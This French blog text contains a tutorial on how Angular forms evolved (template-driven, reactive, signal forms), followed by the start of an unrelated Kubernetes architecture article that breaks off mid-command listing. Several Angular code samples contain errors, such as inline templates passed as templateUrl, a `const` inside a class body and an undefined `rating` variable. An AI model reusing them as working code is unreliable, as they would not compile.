• Comment l’évolution de la gestion de state dans Angular reflète la gestion des formulaires

• Vue d’ensemble des template driven forms

• Vue d’ensemble des reactive forms

• Vue d’ensemble des signal forms

• Exploration de l’API des signal forms

• Gestion des erreurs dans les signal forms

Dans le précédent article Signals, La Réactivité d’Angular Simplifiée, nous avons examiné le développement de la gestion de state dans Angular. Nous avons mentionné comment AngularJS reposait sur le two-way data binding pour le partage de state, puis nous sommes passés à Angular moderne qui a introduit une gestion structurée de state utilisant @Input et @Output pour la communication parent-enfant, ainsi que RxJS et des bibliothèques comme @ngrx/store pour imposer un flux de données unidirectionnel basé sur des observables.
Plus récemment, Angular Signals a simplifié la gestion de state en offrant une réactivité fine avec moins de boilerplate et un flux de données plus clair.

Nous commencerons par les template-driven forms, où le template était au premier plan et porteur de la logique, puis nous examinerons les reactive forms, où cette logique migre vers la classe, jusqu’aux signal forms, où le state du formulaire devient finement granulaire et plus réactif. Avec les signals, on observe une simplification de l’implémentation et un changement fondamental : la responsabilité de lire le state passe du template, à la classe, à une fonction fine-grained (signal) qui est elle-même un state qui réagit, notifie et compose le state.

Avant d’entrer dans une exploration approfondie de l’évolution de la gestion de l’état dans Angular, il est important de noter que les Signal Forms sont encore expérimentaux. Leur API n’est pas encore finalisée et peut évoluer entre les versions. La documentation disponible reste incomplète. En raison de cette maturité limitée, il convient de rester prudent aux changements si vous les utilisez dans des projets importants.

Template driven forms

Les template driven forms ont été introduits en 2016 dans la première version d’Angular2+. AngularJS avait un système de formulaires différent basé sur le two-way data binding. On retrouve la même idée dans les template driven forms, où l’API est un peu modernisée pour s’adapter à la direction d’Angular2+. Le two-way binding reste au cœur de l’idée, mais nous disposons maintenant de ngForm et ngModel « out of the box ». Mais comment cela fonctionne-t-il ?

La "logique" réside dans le template, car notre HTML définit le formulaire. ngForm et ngModel sont des directives qu’Angular instancie et configure pour le two-way binding. Ces directives analysent le DOM à l’initialisation du composant et mettent en place les form controls. Nous ne créons pas de variables pour stocker le state du formulaire dans notre classe et nous n’avons pas de formControl visible. Angular crée implicitement une instance de formControl pour chaque input via ngModel.

Le template est également responsable de la validation du formulaire, avec des directives comme required placées directement dans le template. La réactivité de notre formulaire est limitée et implicite. Les mises à jour (inputs utilisateur) se propagent automatiquement via ngModel, mais le flux lui-même n’est pas contrôlé. Angular met à jour le composant lorsque la détection des changements est déclenchée (lorsque l’utilisateur tape dans le formulaire), mais gérer les changements de manière programmatique devient plus complexe.

Faisons un rappel sur le fonctionnement des template driven forms :

import { Component } from "@angular/core";

export interface User {
  firstName: string;
  lastName: string;
}

@Component({
  selector: "my-app",
  templateUrl:`
  <h1>Template Driven Forms</h1>
  <form #userForm="ngForm">
    <input required [(ngModel)]="user.firstName" />
    <input required [(ngModel)]="user.lastName" />
    <button type="button" (click)="submit()">Submit</button>
  </form>

  <h3>Form value</h3>
  {{user | json}}

  <h3>Form states</h3>
  <p>Valid: {{userForm.valid}}</p>
  <p>Pristine:  {{userForm.pristine}}</p>
  <p>Touched:  {{userForm.touched}}</p>
  <p>Submitted: {{userForm.submitted}}</p>"`,
  styleUrls: ["./app.component.css"]
})

export class AppComponent {
  user: User = {
    firstName: "Jane",
    lastName: "Black"
  };

  submit() {
    alert(`
    Form submitted 
    with lastName ${this.user.lastName} 
    and firstName ${this.user.firstName}`
    );
  }
}

Nous ne déclarons pas notre formulaire dans le composant. Le template pilote les changements et contient le modèle du formulaire. Angular voit d’abord le formulaire avec #, puis instancie une directive ngForm. Ensuite, en lisant les inputs, il instancie la directive NgModel, qui effectue un two-way data binding avec le modèle de données (dans notre cas user) déclaré dans la classe du composant.

Les validateurs sont automatiquement liés aux contrôles. Pour assurer la connexion entre ngModel et le DOM, Angular s’appuie sur ControlValueAccessor, un mécanisme caché derrière les template driven forms et les reactive forms.

Voyons rapidement son interface :

export interface ControlValueAccessor {
  writeValue(obj: any): void;
  registerOnChange(fn: any): void;
  registerOnTouched(fn: any): void;
  setDisabledState?(isDisabled: boolean): void;
}

On peut constater que c’est le ControlValueAccessor qui lit et écrit la valeur, tout en gérant également ses validations en enregistrant onChange et onTouched.

Les template driven forms reposent sur le template pour gérer le state et la validation, en utilisant ngForm et ngModel pour le two-way binding implicite. Elles sont simples à mettre en place, mais offrent une réactivité limitée et un contrôle programmatique moins précis.

Pour répondre à ces limites, Angular propose les reactive forms, qui permettent de définir explicitement le modèle de formulaire dans la classe du composant et de le connecter directement au template via FormControl. Examinons de plus près les mécanismes qui sous-tendent cette approche plus structurée et réactive.

Reactive forms

Dans les reactive forms d’Angular, le modèle évolue : ce n’est plus le template qui est responsable, mais la classe qui prend en charge le formulaire. Notre formulaire est maintenant défini explicitement dans la classe avec TypeScript. Le template se contente de rendre le modèle du formulaire, tandis que la « source de vérité » (source of truth) réside désormais dans notre fichier .ts.

Les reactive forms sont construits autour de flux observables et peuvent être consultés de manière asynchrone. Cela représente un changement par rapport aux template driven forms, où l’API ne fournissait pas de manière explicite un moyen de s’abonner aux changements d’un input.

C’est pourquoi, dans les reactive forms, nous pouvons nous abonner aux changements de la valeur d’un input.

form.valueChanges.subscribe(value => {
  console.log(value);
});

Notre formControl utilise toujours ControlValueAccessor, mais il peut maintenant être manipulé et utilisé de manière programmatique dans la classe de notre composant.
NgModel est remplacé par formGroup (ou formArray), créés explicitement dans le fichier .ts et qui contiennent le state. Tous les éléments des reactive forms étendent AbstractControl. Contrairement à la directive ngModel utilisée dans les template driven forms, les reactive forms étendent AbstractControl, qui est un objet représentant le state et les règles et qui n’a pas à se soucier de la vue.

Chaque AbstractControl expose deux observables que nous pouvons utiliser pour suivre la valeur de notre formulaire : valueChanges et statusChanges.
Mélanger modèle et vue, comme dans les template forms, rendait les tests difficiles et le state « caché » dans la directive difficile à déboguer. Avec les reactive forms, on observe une séparation plus claire entre modèle et vue : pour chaque modèle (AbstractControl), nous avons une directive côté vue et un ControlValueAccessor pour faire le lien entre les deux.

• Model = FormControl / FormGroup / FormArray

• Directive = [formControl], formControlName, formGroup, etc.

• CVA = adaptateur vers le DOM

Examinons un exemple simple de reactive form :

import { Component } from "@angular/core";
import { FormGroup, FormControl, Validators } from "@angular/forms";

export interface User {
  firstName: string;
  lastName: string;
}

@Component({
  selector: "my-app",
  template:`
    <h1>Reactive Forms</h1>
    <form [formGroup]="userForm">
      <input formControlName="firstName"/>
      <input formControlName="lastName"/>
      <button type="button" (click)="submit()">Submit</button>
    </form>
    <h3>Form value</h3>
    {{ userForm.value | json }}

    <h3>Form states</h3>
    <p>Valid: {{ userForm.valid }}</p>
    <p>Pristine: {{ userForm.pristine }}</p>
    <p>Touched: {{ userForm.touched }}</p>
    <p>First name valid: {{ firstNameControl.valid }}</p>
    <p>First name invalid: {{ firstNameControl.invalid }}</p>
    <p>Last name valid: {{ lastNameControl.valid }}</p>
    <p>Last name invalid: {{ lastNameControl.invalid }}</p>`
  styleUrls: ["./app.component.css"]
})
export class AppComponent {
  userForm: FormGroup = new FormGroup({
    firstName: new FormControl('Jane', Validators.required),
    lastName: new FormControl('Black', Validators.required)
  });

  get firstNameControl() {
    return this.userForm.get('firstName') as FormControl;
  }

  get lastNameControl() {
    return this.userForm.get('lastName') as FormControl;
  }

  submit() {
    const user: User = this.userForm.value;
    alert(`
      Form submitted
      with lastName ${user.lastName}
      and firstName ${user.firstName}
    `);
  }
}

Le formulaire est désormais défini dans notre classe. La validité des contrôles peut être gérée de manière programmatique et la séparation entre la classe qui définit le formulaire et la vue, qui se contente de l’affichage, est claire.

Nous pouvons définir des fonctions getter en utilisant .get pour obtenir les valeurs de nos contrôles.
Comme les reactive forms étendent AbstractControl, nous avons accès à son API pour gérer et lire les valeurs ainsi que la validité de nos contrôles.

Rappelons-nous de certaines fonctionnalités ici :

abstract class AbstractControl<TValue = any, TRawValue extends TValue = TValue, TValueWithOptionalControlStates = any> {
  constructor(validators: ValidatorFn | ValidatorFn[] | null, asyncValidators: AsyncValidatorFn | AsyncValidatorFn[] | null): AbstractControl<TValue, TRawValue, TValueWithOptionalControlStates>;
  readonly parent: FormGroup<any> | FormArray<any> | null;
  readonly valid: boolean;
  readonly invalid: boolean;
  readonly disabled: boolean;
  readonly enabled: boolean;
  readonly pristine: boolean;
  readonly dirty: boolean;
  readonly touched: boolean;
  readonly untouched: boolean;
  readonly valueChanges: Observable<TValue>;
  readonly statusChanges: Observable<FormControlStatus>;
}

Même si elles sont explicites, typées, testables et prévisibles, les reactive forms demandent également plus de boilerplate, car nous devons créer explicitement chaque contrôle dans la classe et le connecter au template. De plus, la dépendance à RxJS ajoute une complexité supplémentaire, et nous devons lire les valeurs explicitement via .value ou nous abonner aux changements. Elles stockent toujours le state du formulaire dans AbstractControl.

Même si la séparation entre la définition de la classe et la vue est plus claire, les reactive forms dépendent encore du CVA.

formControl -> CVA -> DOM

Cela signifie qu’un seul élément contrôle non seulement la lecture et l’écriture de la valeur, mais aussi l’enregistrement de l’état d’interaction avec onChange et onTouched. De plus, il est indirectement responsable de l’intégration de la validation, car c’est le CVA qui enregistre les callbacks déclenchant les mises à jour de valeur et d’état touché.

Les reactive forms déplacent la responsabilité du formulaire vers la classe, avec un modèle explicite défini via FormControl, FormGroup ou FormArray, tandis que le template se contente de l’affichage. Elles offrent une réactivité fine, des valeurs et états consultables via des observables (valueChanges, statusChanges) et une séparation claire entre modèle et vue, rendant tests et validation plus prévisibles. Cependant, elles demandent plus de code et reposent toujours sur le ControlValueAccessor pour gérer l’intégration avec le DOM et la validation, ce qui peut les rendre parfois difficiles à personnaliser et à déboguer.

Futur de la gestion des formulaires Angular : les Signal based forms

Poursuivant son orientation vers une gestion de state plus fine et plus réactive, Angular a introduit fin 2025 les signal based forms. L’introduction des signal based forms permet de résoudre le problème de surcharge cognitive et de code boilerplate tout en conservant l’abstraction côté modèle. Ainsi, au lieu de FormControl, FormGroup et FormArray, nous pouvons maintenant utiliser signal() et computed() pour obtenir un state réactif fin.

La réactivité est automatique : il n’est plus nécessaire de s’abonner explicitement avec valueChanges ou d’utiliser des async pipes, et les validations du formulaire sont auto-calculées et plus simples à gérer.

Les signals, introduits pour la première fois en 2023, permettent de définir le state du formulaire en utilisant des signals via des fonctions comme form() et d’accéder aux signals de chaque champ individuel pour des mises à jour, validations et bindings dans le template plus fins. Ils réduisent considérablement le besoin de connecter manuellement vos inputs et diminuent la quantité de code nécessaire pour que tout fonctionne.

Voyons un exemple de signal based form :

import {Component, signal, ChangeDetectionStrategy} from '@angular/core';
import {form, Field} from '@angular/forms/signals';
interface UserForm {
  firstName: string;
  lastName: string;
  nicknames: string[];
}
@Component({
   selector: 'my-app',
  templateUrl: `<form>
    <label> First name
        <input [field]="loginForm.firstName" />
      </label>
    <label> Last name
      <input [field]="loginForm.lastName" />
      </label>
</form>
<p>Model</p>
<pre>{{ userFormModel() | json }}</pre>
<!-- {
  "firstName": "",
  "lastName": ""
} -->
<pre>{{ loginForm | json }}</pre>
<!-- we can't get values -->
</form>`,
  imports: [Field],
})
export class App {
// source of the truth
  userFormModel = signal<UserForm>({
    firstName: '',
    lastName: '',
    nicknames: ['bob', 'bob1', 'bob2']
  });

  // form metadata + validation
  loginForm = form(this.userFormModel);
}

Nous voyons apparaître de nouvelles fonctions à notre disposition, comme form(). Comprenons comment cela fonctionne.

L’API ressemble à ceci :

declare function form<TModel>(model: WritableSignal<TModel>): FieldTree<TModel>;

Ainsi, form() est une fonction à laquelle nous pouvons passer un modèle et qui nous renvoie un FieldTree de ce modèle. TModel est notre modèle, dans notre cas UserForm. WritableSignal(TModel) est la source de vérité pour les valeurs du formulaire. form() ne stocke pas les valeurs : il se lie simplement au signal, et c’est le signal qui possède les données. Le formulaire est uniquement responsable de la validation de la structure et des métadonnées.

C’est pourquoi nous ne pouvons pas lire les valeurs depuis loginForm, mais devons les lire depuis le signal userFormModel.

C’est dans FieldTree que la « magie » du formulaire se produit :

type FieldTree<TModel, TKey extends string | number = string | number> = (() => 
[TModel] extends [AbstractControl] ? CompatFieldState<TModel, TKey> : FieldState<TModel, TKey>) 
& 
([TModel] extends [AbstractControl] ? object : [TModel] extends [Array<infer U>] ? ReadonlyArrayLike<MaybeFieldTree<U, number>> : 
TModel extends Record<string, any> ? Subfields<TModel> : object);

Comme nous pouvons le voir, un fieldTree comporte à nouveau deux parties. Il agit à la fois comme une fonction qui renvoie le state d’un champ particulier, et comme un objet/array qui reflète la structure du modèle que nous lui avons passé.

La partie callable nous permet d’écrire quelque chose comme ceci :

loginForm()
loginForm.firstName()

Mais loginForm.firstName nous renverra le state du champ avec ses méthodes value(), valid(), touched(), etc. Si nous voulons obtenir la valeur, nous devons soit appeler le signal du modèle (signalModel), soit utiliser les valeurs du signal via form().

{{ loginForm.firstName() }} // will give field state
{{ loginForm.firstName().value() }}  // will give value

La partie callable confirme le fait que les Angular signals sont, dans leur essence, des fonctions. Cela nous permet de lire le state du formulaire de manière réactive, et le fait de l’appeler renvoie les métadonnées, et non les valeurs (à moins d’appeler value(), bien sûr).

La deuxième partie est la « partie contrat » qui indique à notre FieldTree de refléter la structure du modèle. Elle étend [AbstractControl] pour être compatible avec les formulaires Angular legacy, mais elle étend également les tableaux, objets et primitives :

& (
  TModel extends Array
  | Object
  | Primitive
)

Si notre modèle est un tableau, le formulaire devient :

{{ loginForm.nicknames().value() }} // 'bob', 'bob1', 'bob2'
{{ loginForm.nicknames().value()[0] }} // bob

Et pour nos objets :

TModel extends Record<string, any>
  ? Subfields<TModel>

Ce qui signifie :

FieldTree<UserForm> ≈ {
  firstName: FieldTree<string>; 
  lastName: FieldTree<string>;
}

Ainsi, chaque clé d’objet devient un FieldTree contenant toutes les métadonnées et signatures de type. Contrairement aux reactive forms où l’on peut appeler .value, ici .value est supprimé car ce n’est pas réactif et, techniquement, cela aurait permis d’avoir deux sources de vérité.

Plus tôt dans l’article, nous avons expliqué qu’avec les reactive forms, on observe une séparation plus claire entre modèle et vue. Le modèle (AbstractControl) vit dans la classe et, côté vue, nous avons une directive. Le ControlValueAccessor servait de pont entre les deux.

Les formulaires basés sur les signals n’utilisent pas FormControl, ngModel, ni l’ancienne API des formulaires — contrairement aux versions anciennes d’Angular qui reposaient toujours sur ControlValueAccessor.
Les signals ne dépendent pas de ControlValueAccessor, car le signal contient la valeur et le FieldTree contient les métadonnées du formulaire. Les signals assurent un suivi automatique des dépendances : lorsqu’un signal change, Angular sait quoi mettre à jour. Il s’agit d’une réactivité fine qui fait vraiment briller les signals. Les inputs personnalisés, au lieu d’implémenter CVA, se contentent de lier les signals.

Presque tous les développeurs Angular ont eu besoin d’écrire des inputs personnalisés. Avec les reactive forms, nous devions faire quelque chose comme ceci :

import { Component, forwardRef } from '@angular/core';
import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms';

@Component({
  selector: 'custom-input',
  template: ``,
  providers: [
    {
      provide: NG_VALUE_ACCESSOR,
      useExisting: forwardRef(() => CustomInputComponent),
      multi: true,
    },
  ],
})
export class CustomInputComponent implements ControlValueAccessor {
  private onChange = (value: number) => {};

  private onTouched = () => {};

  writeValue(value: number): void {
    this.value = value ?? 0;
  }

  registerOnChange(fn: (value: number) => void): void {
    this.onChange = fn;
  }

  registerOnTouched(fn: () => void): void {
    this.onTouched = fn;
  }

  setValue(value: number) {
    this.value = value;
    this.onChange(value);
    this.onTouched();   
  }
}

On voit que nous devions gérer la lecture, l’écriture et les scénarios d’interaction. Il fallait également implémenter ControlValueAccessor, utiliser forwardRef, etc.

Avec les signal forms et FormValueAccessor, on peut observer le même processus beaucoup plus simplifié :

import { Component, model } from '@angular/core';  
import { FormValueControl } from '@angular/forms';  
@Component({  
selector: 'app-custom-input',  
template: ``  
})  
export class CustomInputComponent implements FormValueControl<number> {  
    value = model<number>(0);
    const touched = signal(false);

    select(value: number): void {  
        this.value.set(rating);
    }  
}

C’est en réalité ce que les signals changent dans leur cœur.

Les signal based forms utilisent des signal() et computed() pour un state réactif, sans avoir besoin de FormControl ni de ControlValueAccessor. Les validations et mises à jour se propagent automatiquement, et chaque champ fournit ses métadonnées via FieldTree. Cette approche réduit le boilerplate et sépare clairement lecture, écriture et suivi des états d’interaction. Grâce aux signals, on observe une distinction nette entre la lecture et l’écriture des valeurs et l’enregistrement des états d’interaction, ce qui rend les signal forms particulièrement efficaces pour la validation des formulaires.

Gestion des erreurs dans les signal forms

La réactivité, la séparation plus claire entre lecture et écriture, ainsi que l’accès facile aux valeurs calculées sont particulièrement utiles pour la validation des formulaires et la gestion des erreurs. La réactivité fine signifie que chaque champ signal se met à jour de manière indépendante. Le code est plus simple, plus facile à écrire et à maintenir, et il est beaucoup plus facile de désactiver les boutons de soumission.

Considérez le code suivant :

import { Component, signal, ChangeDetectionStrategy, computed } from '@angular/core';
import {
  email,
  form,
  FormField,
  min,
  validate,
} from '@angular/forms/signals';

interface LoginData {
  email: string;
  password: string;
  confirmPassword: string;
  age: number;
}

@Component({
  selector: 'app-root',
  templateUrl: '
<form style="display: flex; flex-direction: column; gap: 10px;">
  <label>
    Email:
    <input type="email" [formField]="loginForm.email" />
  </label>
  <label>
    Password:
    <input type="password" [formField]="loginForm.password" />
  </label>
  <label>
    Confirm Password
    <input [formField]="loginForm.confirmPassword" id="">
  </label>
  <label>
    Age
    <input [formField]="loginForm.age" type="number" id="">
  </label>
  <button (click)="submit()" style="max-width: fit-content;">Submit</button>
  <div class="error-list">
    <div>
      @for (error of loginForm.password().errors(); track error) {
      <p>{{ error.message }}</p>
      }
    </div>
    <div class="error-list">
      @for (error of loginForm.email().errors(); track error) {
      <p>{{ error.message }}</p>
      }
    </div>
    <div class="error-list">
      @for (error of loginForm.age().errors(); track error) {
      <p>{{ error.message }}</p>
      }
    </div>
  </div>
  <div class="error-list">
    @for (error of loginForm.confirmPassword().errors(); track error) {
    <p>{{ error.message }}</p>
    }
    <div class="error-list">
      <p> {{passwordStrength()}}</p>
    </div>
  </div>
</form>
',
  styleUrl: './app.css',
  imports: [FormField],
})
export class App {
  protected readonly title = signal('signals');

  loginModel = signal<LoginData>({
    email: '',
    password: '',
    confirmPassword: '',
    age: 0,
  });

  loginForm = form(this.loginModel, (s) => {
    email(s.email, { message: 'Email is needs to be valid' });
    min(s.age, 18, { message: 'Age needs to be more than 18' });
    validate(s.confirmPassword, ({ value, valueOf }) => {
      const confirmPassword = value(); 
      const password = valueOf(s.password);
      if (confirmPassword !== password) {
        return {
          kind: "error",
          message: 'Passwords do not match',
        };
      }
      return null;
    });
  });

  passwordStrength = computed(() => {
    const password = this.loginForm.password().value();
    const touched = this.loginForm.password().dirty();
    if (password.length < 8 && touched) return 'weak';
    if (password.length <= 12 && touched) return 'medium';
    if (password.length >= 12 && touched) return 'strong';
    return '';
  });
}

Dans cet exemple, on peut voir la nouvelle API des formulaires basés sur les signals en action, où tout le formulaire est réactif sans utiliser FormGroup traditionnel. Les signals ne suppriment pas la validation ni la logique du formulaire : ils déplacent simplement la responsabilité vers des primitives plus “fines”, permettant un contrôle plus précis et réactif sur chaque champ.

Le signal loginModel contient l’état du formulaire, et la fonction form() lui ajoute des règles de validation comme email(), min(), ainsi qu’une validation personnalisée avec validate() pour vérifier que les mots de passe correspondent. Le loginForm() retourné est lui-même un signal, ce qui signifie qu’il fournit des métadonnées réactives sur tout le formulaire — comme la validité, les erreurs, l’état dirty et les valeurs. Grâce à cela, on peut facilement contrôler le bouton Submit avec [disabled]="!loginForm().valid()". Dès que le formulaire est invalide, le bouton est désactivé automatiquement, et il se réactive immédiatement lorsque tout devient valide.

Des messages d’erreur s’affichent lorsque les règles de validation ne sont pas respectées (par exemple : email invalide, âge inférieur à 18, mot de passe trop court ou mots de passe différents). Dès que l’utilisateur corrige la saisie, les erreurs disparaissent automatiquement car les signals recalculent immédiatement l’état. Le signal calculé passwordStrength réagit aussi aux changements du mot de passe et met à jour la force en temps réel.

Vers l’avenir des formulaires Angular

L’évolution des formulaires dans Angular illustre un déplacement progressif de la responsabilité du state :

Avec les template-driven forms, le template pilote la logique et la validation. Le two-way binding implicite via ngModel et ngForm rend l’implémentation simple, mais la réactivité est limitée et le contrôle programmatique moins précis.

Les reactive forms déplacent le modèle dans la classe, avec des FormControl, FormGroup et FormArray. Cette approche offre une séparation claire entre modèle et vue, une réactivité fine via les observables valueChanges et statusChanges, et un contrôle programmatique complet. Cependant, elles demandent plus de code et reposent toujours sur le ControlValueAccessor, ce qui peut rendre la personnalisation et le débogage plus complexes.

Les signal forms, quant à elles, introduisent un state réactif fin-grained via signal() et computed(), sans nécessiter de FormControl ni de ControlValueAccessor. Chaque champ fournit ses métadonnées via FieldTree, et les validations ainsi que la propagation des valeurs sont automatiques. Les signal forms réduisent le boilerplate, séparent clairement lecture, écriture et suivi des états d’interaction, et rendent la gestion des erreurs et des boutons de soumission réactive et intuitive.

Cette évolution montre une direction claire : Angular se dirige vers des formulaires plus réactifs, plus simples à maintenir et plus précis dans le suivi des états. Cependant, les signal forms restent expérimentales : leur API est encore jeune et susceptible d’évoluer. Avant de les utiliser dans des projets critiques, il est essentiel de comprendre ces limites et de suivre la documentation officielle (Signal Forms – Angular).

Aujourd’hui, on peut voir la direction que prend Angular moderne : les signal forms représentent une étape prometteuse pour la gestion des formulaires, combinant réactivité fine, contrôle programmatique clair et simplification du code.

Documentation Angular Signal Forms : https://angular.dev/essentials/signal-forms

Article intéressant qui parle de formValueAccessor vs ControlValueAccessor : https://javascript.plainenglish.io/controlvalueaccessor-is-dead-long-live-formvaluecontrol-4cf2e30a4fb0

L’image: Photo de Linus Sandvide sur Unsplash

Dans ce premier article consacré à la présentation d’un cluster Kubernetes sous le prisme de la cybersécurité, nous commençons par décrire son architecture globale afin de mieux comprendre les enjeux de sécurité qui y sont liés. L’objectif est d’apporter une compréhension générale du fonctionnement du cluster, avec une mise en avant des composants présentant les risques et enjeux principaux.

Architecture d’un cluster Kubernetes

Bien que complexe, un cluster Kubernetes peut tout de même se résumer à un groupe de machines qui travaillent ensemble pour exécuter des applications. Chaque machine s’appelle un nœud.

Kubernetes organise ces nœuds en deux rôles principaux :

• 🧠 Le nœud maître (ou master node) porte le plan de contrôle. Celui-ci pilote le cluster. Il expose l’API, décide où lancer les applications et garde la vue d’ensemble de l’état du cluster.

• 👷 Le nœud de travail (ou worker node). Il exécute les applications et héberge les pods. Il suit les instructions du master, puis lui remonte ce qui se passe.

Chaque nœud peut correspondre à une machine physique ou virtuelle. Généralement, un cluster comprend au moins un nœud maître et plusieurs nœuds de travail. En production, on utilise souvent plusieurs nœuds maîtres, typiquement trois, pour la haute disponibilité. Le nombre de nœuds de travail est variable et peut s’ajuster selon la charge.

Ces nœuds, qu’ils soient des machines physiques ou virtuelles, ainsi que le réseau et le stockage, constituent la couche matérielle du cluster.

Par-dessus vient la couche logique Kubernetes. Elle transforme cet ensemble en une plateforme unique qui orchestre le déploiement des applications, leur mise à l’échelle, leur redémarrage en cas de panne et la communication entre eux.

Nœud maître (ou master node)

Le nœud maître porte le plan de contrôle. Il expose l’API permettant de contacter et récupérer des informations sur le cluster Kubernetes, garde l’état du cluster, décide où exécuter les applications et s’assure que ce qui tourne correspond à ce qui est demandé.

Pour déployer un cluster Kubernetes, il est nécessaire de choisir une distribution Kubernetes (k3s, RKE2, etc.). Elles se distinguent surtout par le mode d’installation et de gestion, le stockage de l’état, les composants fournis par défaut, le niveau de durcissement et la façon de mettre à jour.

Malgré ces variations, on retrouve les mêmes briques au sein du plan de contrôle.

• 🌐 Serveur d’API (kube-apiserver) : point d’entrée du cluster, il gère l’authentification, l’autorisation et la validation des requêtes. On peut joindre cette API depuis une machine de développement / gestion hors du cluster avec l’outil « kubectl ». C’est par cette API que l’on administre l’ensemble du cluster.

• 🛢 Magasin d’état : base de données sous forme « clé-valeur », qui conserve l’état du cluster (le plus souvent etcd). Il peut être hébergé sur les nœuds maîtres ou externalisé sur des machines séparées.

• 📝 Planificateur (kube-scheduler) : choisit sur quels nœuds exécuter les applications selon les ressources et contraintes.

• 🔄 Gestionnaires de contrôleurs (kube-controller-manager et éventuellement cloud-controller-manager) : surveillent l’écart entre l’état voulu et l’état réel et déclenchent les actions nécessaires.

Le rôle de ces briques est le même partout : seules les technologies, l’assemblage et la configuration varient, selon la distribution. Ces éléments forment le plan de contrôle, qui est le cerveau du cluster.

Nœud de travail (ou worker node)

Le nœud de travail exécute les applications. Il s’appuie sur les ressources de sa machine physique ou virtuelle (CPU, GPU éventuels, mémoire RAM, réseau et stockage local). Il applique les décisions du plan de contrôle et remonte son état.

Encore une fois selon la distribution, la mise en place varie, mais on retrouve les mêmes briques.

• ☁️ kubelet : agent du nœud qui reçoit les ordres du plan de contrôle, lance les applications et vérifie leur bon fonctionnement.

• 📶 proxy (kube-proxy ou équivalent eBPF) : met en place le routage et la traduction nécessaires aux services.

• 🏗️ Runtime de conteneur : le moteur qui lance et arrête les conteneurs. Typiquement containerd, utilisé aussi par Docker, ou CRI-O, conçu pour Kubernetes.

D’autres composants peuvent aussi être présents, par exemple des plugins CSI pour le stockage, ainsi que des agents de logs et de métriques. Nous n’entrerons pas dans ces détails ici.

⚠️ À noter : un nœud maître peut parfois également être un nœud de travail. Bien que cela ne soit pas du tout recommandé d’un point de vue sécurité, c’est parfois le cas.

Pods

Un pod Kubernetes regroupe un ou plusieurs conteneurs étroitement liés. C’est la plus petite unité déployable et gérable dans Kubernetes. Contrairement aux nœuds, qui sont des machines physiques ou virtuelles, un pod n’a pas d’existence matérielle. Le nœud maître choisit un nœud de travail sur lequel l’exécuter et en supervise le fonctionnement. Les conteneurs d’un même pod partagent la même adresse IP, des volumes de stockage et le même cycle de vie.

On peut l’assimiler à un petit groupe de conteneurs qui doivent toujours démarrer ensemble, ce qui se rapproche d’un usage simple de docker-compose sans en être l’équivalent exact.

Dans la pratique, on déploie rarement des pods seuls. On passe par un objet Kubernetes « Deployment » qui décrit l’état voulu de l’application et orchestre la création et la mise à jour des pods ainsi que les ressources associées. Nous y reviendrons plus loin dans l’article.

TL;DR - En résumé

Un nœud est une machine physique ou virtuelle. Un nœud peut héberger plusieurs pods. Un pod regroupe un ou plusieurs conteneurs qui partagent la même adresse IP et des volumes.

Le nœud maître pilote le plan de contrôle. Il expose l’API, maintient l’état et décide où placer les applications. Les nœuds de travail exécutent ces décisions et fournissent CPU, mémoire, réseau et stockage.

Objets Kubernetes

Après avoir présenté l’architecture d’un cluster, il est temps d’aborder la couche logique que Kubernetes met en place pour mobiliser les ressources.

Dans Kubernetes, tout est objet. L’état voulu d’un objet est décrit dans un fichier YAML appelé manifeste. Dans un manifeste YAML, on indique l’objet à créer avec l’attribut kind. Le reste du manifeste décrit la configuration de cet objet.

Depuis la machine de l’utilisateur, il est alors possible d’utiliser l’outil kubectl pour contacter le serveur d’API (kube-apiserver) du plan de contrôle et lui soumettre les manifestes décrivant les objets à créer ou à modifier dans le cluster.

Le serveur d’API enregistre ces objets et les fait persister. Les contrôleurs du plan de contrôle (kube-controller-manager et éventuellement cloud-controller-manager) comparent en continu l’état voulu et l’état réel, puis déclenchent les actions nécessaires. Ainsi, CPU, mémoire, réseau et stockage peuvent être pilotés sans intervenir directement sur les machines.

Dans cette partie, nous allons aborder les objets les plus utiles et sensibles côté sécurité.

Deployments

Le Deployment est un objet prévu pour décrire l’état voulu d’un groupe de pods identiques et Kubernetes crée puis remplace ces pods pour respecter cet état. Un Deployment peut déclarer ou référencer d’autres ressources de l’écosystème Kubernetes avec lesquelles ce groupe de pods interagit.

Cet objet ne contient pas les autres ressources comme les Secrets, volumes ou Services. Il les référence pour que les pods puissent les utiliser, ces ressources étant définies séparément. En revanche, les pods qu’il lance lui appartiennent et il veille à en maintenir le nombre demandé.

Prenons un cas d’exemple d’un manifeste YAML décrivant un objet Deployment simple.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: web
spec:
  replicas: 2
  selector:
    matchLabels:
      app: web
  template:
    metadata:
      labels:
        app: web
    spec:
      containers:
        - name: web
          image: nginx:1.25
          ports:
            - containerPort: 80
          env:
            - name: DB_USER
              valueFrom:
                secretKeyRef:
                  name: app-secret
                  key: DB_USER
            - name: DB_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: app-secret
                  key: DB_PASSWORD
          volumeMounts:
            - name: data
              mountPath: /data
      volumes:
        - name: data
          persistentVolumeClaim:
            claimName: web-data

Ce manifeste définit un Deployment nommé web. Il crée deux pods identiques (replicas 2) étiquetés app=web, qui exécutent l’image nginx:1.25 et exposent le port 80 du conteneur.

Les variables d’environnement DB_USER et DB_PASSWORD sont lues depuis un Secret nommé app-secret, stocké dans le cluster. Ce Secret est défini dans un autre manifeste YAML.

Également, le répertoire /data du conteneur est monté depuis un volume persistant qui est également un objet Kubernetes de type « PersistentVolumeClaim », défini dans un autre manifeste YAML .

Il est alors possible de déployer l’ensemble de ces objets dans le cluster pour mettre l’application en service. L’outil « kubectl », installé sur une machine externe au cluster et correctement configuré, envoie les manifestes YAML au serveur d’API du plan de contrôle qui les enregistre et déclenche leur création.

# Déploiement des objets depuis le fichier YAML
$ kubectl apply -f web-deploy.yaml
secret/app-secret created
persistentvolumeclaim/web-data created
deployment.apps/web created

# Vérifier le déploiement
$ kubectl get deploy web
NAME   READY   UP-TO-DATE   AVAILABLE   AGE
web    2/2     2            2           25s

# Vérifier les pods créés par le Deployment
$ kubectl get pods -l app=web
NAME                     READY   STATUS    RESTARTS   AGE
web-7c89f4d64c-4xq9t     1/1     Running   0          22s
web-7c89f4d64c-bp5km     1/1     Running   0          22s

# Vérifier le volume persistant réclamé (PVC)
$ kubectl get pvc web-data
NAME       STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
web-data   Bound    pvc-1a2b3c4d-5678-90ab-cdef-112233445566   1Gi        RWO            standard       30s

# Vérifier le Secret
